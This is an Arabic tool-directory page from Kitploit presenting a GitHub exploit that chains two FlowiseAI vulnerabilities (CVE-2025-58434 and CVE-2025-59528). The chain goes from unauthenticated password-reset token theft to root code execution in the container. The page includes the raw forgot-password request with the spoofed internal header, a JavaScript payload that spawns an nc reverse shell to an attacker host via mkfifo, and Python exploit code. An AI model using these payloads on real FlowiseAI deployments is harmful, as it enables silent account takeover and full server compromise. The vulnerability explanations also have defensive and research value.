Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
FlowiseAI-Critical-KillChain — سلسلة قتل حرجة غير مصادق عليها تؤدي إلى تنفيذ كامل للأوامر عن بُعد (RCE) في FlowiseAI (CVE-2025-58434 + CVE-2025-59528) | Kitploit
أدوات/GitHubGitHub/cveteam/flowiseai-critical-killchain
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالتعلم والتعليمالفريق الأحمرتطوير الحمولات
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

سلسلة قتل حرجة غير مصادق عليها تؤدي إلى تنفيذ كامل للأوامر عن بُعد (RCE) في FlowiseAI (CVE-2025-58434 + CVE-2025-59528)

عرض المستودع
17منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

FlowiseAI — سلسلة القتل الحرجة

استيلاء غير مصادق على الحساب مقترن بتنفيذ تعليمات برمجية عن بُعد ضد FlowiseAI <= 3.0.5.
اختراق كامل للحاوية في أقل من 5 ثوانٍ، بدون حاجة لأي بيانات اعتماد.


سلسلة القتل

مخطط سلسلة القتل لـ FlowiseAI
يسار: صفحة تسجيل الدخول لـ FlowiseAI — يمين: شل الجذر عبر CVE-2025-59528 · uid=0(root)


جدول المحتويات

  • كيف يعمل — نظرة عامة
  • تفاصيل الثغرات
    • CVE-2025-58434 — كشف رمز إعادة تعيين كلمة المرور
    • CVE-2025-59528 — تنفيذ تعليمات برمجية عن بُعد
  • لماذا هذه السلسلة مميتة
  • شرح كود الاستغلال
  • الاستخدام
  • ما بعد الاستغلال
  • التخفيف
  • المراجع

كيف يعمل — نظرة عامة

يستغل هذا الكود ثغرتين مستقلتين حرجتين في هجوم واحد آلي بالكامل. لا تضمن أي من الثغرتين وحدها الاختراق الكامل — لكن معًا، تشكلان سلسلة قتل كاملة من عدم وجود بيانات اعتماد إلى شل الجذر داخل حاوية Docker.

[بدون بيانات اعتماد]
      │
      ▼
① استغلال نقطة نهاية forgot-password (لا يتطلب مصادقة)
      │  → يستجيب الخادم برمز إعادة تعيين الضحية بنص عادي
      ▼
② إرسال الرمز إلى نقطة نهاية reset-password
      │  → يتحكم المهاجم في كلمة مرور المسؤول
      ▼
③ تسجيل الدخول + استخراج مفتاح Bearer API
      │  → إنشاء جلسة مصادقة كاملة
      ▼
④ إرسال حمولة JavaScript عبر عقدة customMCP
      │  → يقوم الخادم بتقييمها عبر مُنشئ Function()
      ▼
[شل الجذر داخل حاوية Docker]

ما يجعله بدون تفاعل: لا يتلقى الضحية في أي وقت بريدًا إلكترونيًا، أو يرى تنبيه تسجيل دخول، أو يحدث أي حدث مرئي. الهجوم بالكامل من جهة الخادم.


تفاصيل الثغرات

CVE-2025-58434 — كشف غير مصادق لرمز إعادة تعيين كلمة المرور

CVSS 3.1: 9.8 حرج — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المتأثر: FlowiseAI <= 3.0.5 (سحابي + مستضاف ذاتيًا)
التنبيه: GHSA-wgpv-6j63-x5ph

السبب الجذري

لدى FlowiseAI مفهوم "الطلبات الداخلية" — استدعاءات API بين خدماتها الخاصة — يتم التعرف عليها عبر رأس HTTP x-request-from: internal. تستخدم نقطة النهاية /api/v1/account/forgot-password هذا الرأس لتخطي المصادقة تمامًا وإرجاع رد أكثر تفصيلاً مما سترد به للمتصلين الخارجيين.

المشكلة: لم يتم التحقق من صحة هذا الرأس أو تقييده بأي شكل. يمكن لأي مهاجم على الإنترنت إرساله. عند القيام بذلك، بدلاً من تشغيل بريد إلكتروني لإعادة تعيين كلمة المرور، تستجيب API بسجل المستخدم الكامل — بما في ذلك tempToken حي يمكن استخدامه فورًا لتعيين كلمة مرور جديدة.

لماذا ينجح

عادةً، يبدو تدفق إعادة تعيين كلمة المرور كما يلي:

يطلب المستخدم إعادة تعيين → يُنشئ الخادم رمزًا → يُرسل الرمز عبر البريد الإلكتروني → ينقر المستخدم على الرابط → تتغير كلمة المرور

هنا، يتخطى الخادم خطوة البريد الإلكتروني تمامًا ويضع الرمز مباشرة في نص استجابة HTTP. يلتقط المهاجم الرمز وينتقل فورًا إلى خطوة إعادة التعيين — بدون الحاجة إلى الوصول إلى البريد الإلكتروني.

الطلب

POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

الرد 201 — كشف سجل المستخدم الكامل

{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

ثم يتم إرسال tempToken مباشرة إلى نقطة نهاية إعادة التعيين — بدون تفاعل بريد إلكتروني، بدون CAPTCHA، بدون حد للمعدل.


CVE-2025-59528 — تنفيذ تعليمات برمجية عن بُعد عبر عقدة CustomMCP

CVSS 3.1: 10.0 حرج — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
المتأثر: FlowiseAI <= 3.0.5
التنبيه: GHSA-3gcm-f6qx-ff7p

السبب الجذري

يسمح FlowiseAI للمستخدمين بتعريف عقد MCP (بروتوكول السياق النموذجي) مخصصة مع تكوين الخادم المقدم كسلسلة JSON. داخليًا، تحتاج المنصة إلى تحليل هذا التكوين — وتفعل ذلك باستخدام مُنشئ Function() في JavaScript، والذي يعادل وظيفيًا eval().

تصل سلسلة التكوين إلى نقطة النهاية غير منظفة تمامًا:

// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — السطر 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ إدخال مستخدم غير منقى — تنفيذ جافاسكريبت تعسفي

لماذا Function() خطير مثل eval()

Function('return ' + code)() يفعل التالي:

  1. ينشئ دالة جافاسكريبت جديدة مع code كنصها
  2. يستدعيها فورًا
  3. يعيد النتيجة

يمنح هذا المهاجم سياق تنفيذ جافاسكريبت كامل مع الوصول إلى process، require، child_process، وبيئة Node.js runtime بأكملها — وليس صندوق حماية.

تدفق التلوث — من HTTP إلى شل

HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← سلسلة يتحكم بها المهاجم
       └─ substituteVariablesInString()            ← بدون تصفية، يمرر
            └─ convertToValidJSONString()          ← بدون تصفية، يمرر
                 └─ Function('return ' + input)()  ← ينفذ الكود التعسفي هنا

حمولة الحقن

({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

لماذا mkfifo وليس /dev/tcp؟
الحاوية تشغل /bin/sh، وليس /bin/bash. /dev/tcp هو ميزة خاصة بـ bash فقط — غير موجود في أصداف POSIX القياسية. يقوم mkfifo بإنشاء أنبوب مسمى يعمل في أي صدفة متوافقة مع POSIX، مما يجعل الشل العكسي محمولاً عبر بيئات الحاوية.


لماذا هذه السلسلة مميتة

الخاصيةالتفاصيل
بدون حاجة لأي بيانات اعتماديبدأ المهاجم بدون شيء سوى عنوان IP الهدف
بدون تفاعل من الضحيةلا تصيد، لا نقرة، لا هندسة اجتماعية
لا يوجد حد للمعدلنقطة نهاية إعادة التعيين ليس بها اختناق — يمكن فرضها بالقوة إذا لزم الأمر
لا يوجد CAPTCHAتدفق إعادة التعيين ليس به تحقق بشري
لا يوجد تأكيد عبر البريد الإلكترونيتغيير كلمة المرور فوري، صامت، لا رجعة فيه
بيئة Node.js كاملة في RCEchild_process، نظام الملفات، الشبكة — لا صندوق حماية
يعمل كجذر في Dockerعادة ما يتم تشغيل الحاوية كجذر، وصول كامل لنظام الملفات
يؤثر على السحابي والمستضاف ذاتيًاأي نشر من <= 3.0.5 معرض للخطر

شرح كود الاستغلال

تم تنظيم الاستغلال في أربع خطوات متسلسلة، كل منها تتوافق مباشرة مع مرحلة من سلسلة القتل.

الخطوة 1 — حصاد الرمز (CVE-2025-58434)

r1 = session.post(
    f"{TARGET}/api/v1/account/forgot-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
تنزيل الأداة